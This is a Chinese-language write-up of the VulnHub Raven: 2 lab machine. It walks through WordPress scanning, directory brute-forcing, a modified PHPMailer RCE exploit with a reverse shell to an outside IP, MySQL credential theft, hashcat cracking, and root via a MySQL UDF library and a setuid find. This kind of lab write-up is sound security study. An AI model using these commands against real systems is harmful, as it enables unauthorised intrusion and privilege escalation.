[資訊安全] VulnHub – Raven: 2 Write-up

Photo by Christopher Burns on Unsplash

想要在年前結束前解完 Raven 系列,卻在最後一題 Raven: 2 上,耗費不少精神與心力,大多的時間都花在處理 PHPMailer,明明之前有在 IRCON 上遇過,當時也沒有拿下含有該漏洞的主機,事後也沒有在針對此漏洞做練習與嘗試,現在遇到也只好面對了,總之這是一題要你拿 Flag 卻執意要拿 Root 的解題過程。

環境設定

靶機下載: https://www.vulnhub.com/entry/raven-2,269/

解壓縮之後是一個 ova 檔案,同樣直接餵給 VMWare 吃,就可以完成佈署,但在察看 80 Port 的服務時,發現有許多找不到路徑的問題,其中部分路徑都是在 raven.local 底下,所以需要設定 hosts 檔案,若是使用 Windows 環境,Hosts 的路徑在 C:\Windows\System32\drivers\etc 之下,自行加入 192.168.232.131 raven.local 即可。

尋找靶機

透過 nmap -p- 192.168.232.1/24 把靶機找出來,抓到靶機 IP 為 192.168.232.131,並且服務上面有 22、80、111 Ports,跟第一題一樣,我還一度以為佈錯 VM。

Raven: 2 Port Scan.
  • 這邊使用參數 -p- 是掃描並列出 TCP 的所有執行中的 Ports。

服務探勘

80 Port

跟第一題完全一樣,直接懷疑人生一波,一樣發現有 WordPress,再一樣的丟給 wpscan 掃,得到差不多的結果。

➜ wpscan --url http://192.168.232.131/wordpress/ -evp -eu                                                    [14:55:19]
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.6
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_____________________________________________________________

[+] URL: http://192.168.232.131/wordpress/
[+] Started: Mon Jan 20 15:17:45 2020

Interesting Finding(s):

[+] http://192.168.232.131/wordpress/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
[+] http://192.168.232.131/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://192.168.232.131/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.232.131/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
[+] http://192.168.232.131/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.8.12 identified (Latest, released on 2019-12-12).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.232.131/wordpress/, Match: '-release.min.js?ver=4.8.12'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.232.131/wordpress/, Match: 'WordPress 4.8.12'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <======================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] steven
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
[+] michael
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

接著在 WordPress 的 upload 目錄底下,發現一個Flag /wordpress/wp-content/uploads/2018/11/flag3.png

但其實主要目標是 Root,上頭還是掃出同樣的兩組帳戶 stevenmichael,然後又有 ssh,直覺就是要在登一次。

好的,這次登入不是弱密碼了,那應該要怎麼處理呢…

Try Raven: 2 SSH.

折騰了許久沒有什麼線索,最後異想天開就來個目錄爆破,使用工具 konan,但不曉得為什麼,總是會掃到一半卡住,然後連帶我本機端的網路都陷入「ERR_CONNECTION_FAILED」的囧境,最後是改用dirsearch,然後掃描的字典檔案使用 konanall.txt,沒有什麼原因,就是因為 all.txt 感覺比較全面(?

  • 可以使用參數 -w 指定 dict 位置。
# ~/Tools/dirsearch [master (16898d1)]
➜ python3 dirsearch.py -u http://192.168.232.131/ -w ../konan/db/all.txt -e *  [22:02:54]

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 86765

Error Log: /home/mksyi/Tools/dirsearch/logs/errors-20-01-20_22-03-27.log

Target: http://192.168.232.131/

[22:03:27] Starting:
[22:03:38] 200 -   16KB - /
[22:03:50] 200 -    4KB - /css/
[22:04:05] 200 -    5KB - /vendor/
[22:04:11] 301 -  318B  - /fonts  ->  http://192.168.232.131/fonts/
[22:04:21] 200 -   16KB - /index.html
[22:04:22] 200 -    3KB - /fonts/
[22:05:00] 200 -  626B  - /manual/index.html
[22:05:08] 200 -   13KB - /about.html
[22:05:17] 301 -  322B  - /wordpress  ->  http://192.168.232.131/wordpress/
[22:05:22] 200 -  626B  - /manual/
[22:05:41] 301 -  316B  - /img  ->  http://192.168.232.131/img/
[22:05:43] 301 -  319B  - /vendor  ->  http://192.168.232.131/vendor/
[22:06:22] 200 -    4KB - /js/
[22:06:24] 200 -   18KB - /.DS_Store
[22:06:24] 301 -  319B  - /manual  ->  http://192.168.232.131/manual/
[22:06:44] 200 -    9KB - /contact.php
[22:06:50] 200 -   51KB - /wordpress/
[22:06:59] 200 -   16KB - /
[22:07:21] 200 -   34KB - /elements.html
[22:07:25] 200 -    4KB - /img/

Task Completed

這邊掃描結果,我手動把 Status Code 403、400,以及一些問號的結果剃除掉,其中比較令我注目的是檔案 .DS_Store,之前 CTF 的經驗,有透過 .DS_Store 造成檔案及路徑的 Data Exposure,藉此後續操作。

不過這邊需要藉助工具 DS_Store_exp 的力量,其實操作也是相當簡單啦。

python ds_store_exp.py http://raven.local/.DS_Store

這個掃描結果並沒什麼幫助,都是些早已知道的路徑,隨後比對發現路徑 http://192.168.232.131/vendor/,這個先前沒有發現,這並不是 /js/vendor/

Raven: 2 Vendor.

有了新的發現,並且發現新的 Flag,在這邊我終於搞懂為什麼會有 Flag 了,因為出題者是希望使用者找出藏在靶機內的 4 個 Flag,而我以為就跟之前的靶機一樣,目標只有 Root,一個。

在文件 readme.md 中,可以發現這是個 PHPMailer 的服務,在網路上隨隨便便就可以找到 exploit,但能不能用就要等實驗過後才知道了,exploit-CVE-2016-10033,其實看到這個 PoC 覺得很眼熟,在先前「IRCON King of The Hill CTF 初體驗」中,PHPMailer 的服務利用。

PHPMailer

這邊使用的 exploit 是 PHPMailer < 5.2.18 – Remote Code Execution (Python),載下來後還需要些許修改。

  1. 標頭加上 # coding: utf-8
  2. 修改 Targettarget = 'http://192.168.232.131/contact.php'
  3. 修改 backdoor backdoor = '/exploit.php'
  4. 修改 payload s.connect((\\\'123.123.123.123\\\',8888))

接著執行可以看到 [+] ExPLoITeD http://192.168.232.131/contact.php 字樣,代表有成功(應該吧),實際還是要看上傳上去的檔案存不存在。

Raven: 2 PHPMailer

如果照著上面的方法修改的話,就是直接檢視 /exploit.php,然後在要接收 Reverse Shell 的主機上掛 nc,指令 nc -lvp 8888,就可以得到 Shell 了。

這邊幾乎是我卡最久的部分了,明明網路上有一大堆可以拿來直接使用的 exploit,最後真心覺得可能是被 WSL、VMware 雷到,首先使用 WSL 開個 nc 來用,並且以為 VM 下可以直接回連 host ip 就可以接上,但試了半天就是死連不上。

接著採取以另一台 VM:Kali 與 VM:Target 戶連的方式,明明在同網段下,nc 對接同樣對不上,連到 WSL 可能還有防火牆之類的鬼東西在阻擋,但 VM 內網互聯應該要沒問題了吧???

最後是跟學弟借了一台 GCP 的 VPS,對接上的,真的是很鬧。

過程中 Payload 改了又改,東試西試的,其實問題主要可以細分成兩個部分,由於漏洞利用不熟,一直不確定檔案有沒有上傳上去雖然直接瀏覽就行,但一開始都是失敗的,所以也不知道成功到底是什麼樣子。

不廢話繼續解題,這時候套路跟第一題差不多,先是蒐集情報。

  1. uname -a
  2. cat /etc/passwd
  3. cat /var/www/html/wordpress/wp-config.php

Get Root

uname -a 指令得到 Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux,跟第一題一樣,Kernal 提權就 Pass 了。

轉戰 MySQL,一樣在 /var/www/html/wordpress/wp-config.php 得到 Mysql 的帳密,發現好像跟第一題長一樣?

接著為了登入 MySQL 又折騰了一陣子,這部分有偷看一下其他人的 Write-up,得到一個新名詞「UDF(User Defined Function)提權,參考 UDF提權原理詳解」,雖然我不清楚為什麼會提到 UDF 提權,認為該地方主要是 Reverse Shell 與 Bash Shell 的差異,而轉換的方式可以透過指令 python -c "import pty;pty.spawn('/bin/bash')" 得到一個真正的 bash shell。

兩個 Shell 在介面上都長一樣,根本分不出什麼區別,但只有在 bash shell 下執行 mysql -u root -p 可以正常得到 mysql return。

終於可以對 MySQL 進行操作。

mysql -u root -p
password> R@v3nSecurity
show databases;
use wordpress;
show tables;
select ID, user_login, user_pass from wp_users;

得到:

+----+------------+------------------------------------+
| ID | user_login | user_pass                          |
+----+------------+------------------------------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
|  2 | steven     | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad. |
+----+------------+------------------------------------+

再來就是跑 hashcat。

echo "$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0" > target_hash.txt
echo "$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad." >> target_hash.txt
hashcat -O -m 400 -a 0 target_hash.txt rockyou.txt --force

爆出 steven 的密碼:

$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.:LOLLOL1

然後 SSH 也登不進去,這時回過頭來思考「UDF提權」,才知道原來 UDF 提權是透過 MySQL 的自定義函數來取得 Root 權限(此 Root 為系統 Root 權限),然後參考 Exploit 「MySQL 4.x/5.0 (Linux) – User-Defined Function (UDF) Dynamic Library (2)」。

python -c "import pty;pty.spawn('/bin/bash')"
cd /tmp
wget https://www.exploit-db.com/download/1518 -O raptor_udf2.c
gcc -g -c -fPIC raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
password> R@v3nSecurity
mysql> use mysql;
mysql> create table Pikachu(line blob);
mysql> insert into Pikachu values(load_file('/tmp/raptor_udf2.so'));
mysql> select * from Pikachu into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+

接著就可以使用 select do_system('Do something'); 以 Root 身分執行指令。

mysql> select do_system('chmod u+s /usr/bin/find');
mysql> \! bash
www-data@Raven:/tmp$ touch finn
www-data@Raven:/tmp$ find finn -exec "/bin/sh" \;
# whoami
root
cat /root/flag4.txt
Raven: 2 to Win.

檢討

這題比較偏向現實環境一些,但由於是題目的關係,會知道一定有洞可以打,若是在現實的環境下,可能經歷挫折就會放棄,該題的兩個卡點 PHPMailerUDF 耗費超多時間,PHPMailer 的部分主要是不熟利用的方式,應該先了解 Exploit 做了什麼事情、目的是什麼、會產生什麼結果,接著再從中比對哪個環節出錯;接著 UDF 的部分,編譯的部分沒有仔細看 Debug 訊息,導致無法產出 .so 檔,英文能力、細心度都有待加強,隨後就是在 UDF 下拿到 Root 權限,但並不是一個完整的 Shell,當時有想過要創一個 System User,但創了登不進去,不論是 SSH 還是在 Reverse Shell 下登入皆無法,隨後就套用 find 的方式來達成越權。

學習重點

  1. 特定框架掃描工具:wpscan。
  2. 目錄爆破工具:konan、dirsearch。
  3. 目錄資訊洩漏工具:DS_Store_exp。
  4. 已知弱點的漏洞利用方法:PHPMailer、UDF。
  5. 密碼爆破工具:hashcat。
  6. Reverse Shell != Bash Shell。
  7. 因應不同環境的編譯方法。
  8. 取得有限的高權限之利用方法。

遇到問題

在解題的過程中,瀏覽網頁有很高的機率出現「ERR_CONNECTION_FAILED」,一開始還以為是遇到什麼奇葩的蠕蟲,但使用 P i n g 功能卻又皆正常,嘗試更換瀏覽器皆是一樣的結果,為了解決這個問題,連網路都環境都更換過,原本打算就將問題原因、解決方法寫在該文下方就好,但覺得問題太過特殊還是個別寫一篇文章針對此問題來說明好了。

MksYi

透過網路分享知識的學習者。

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料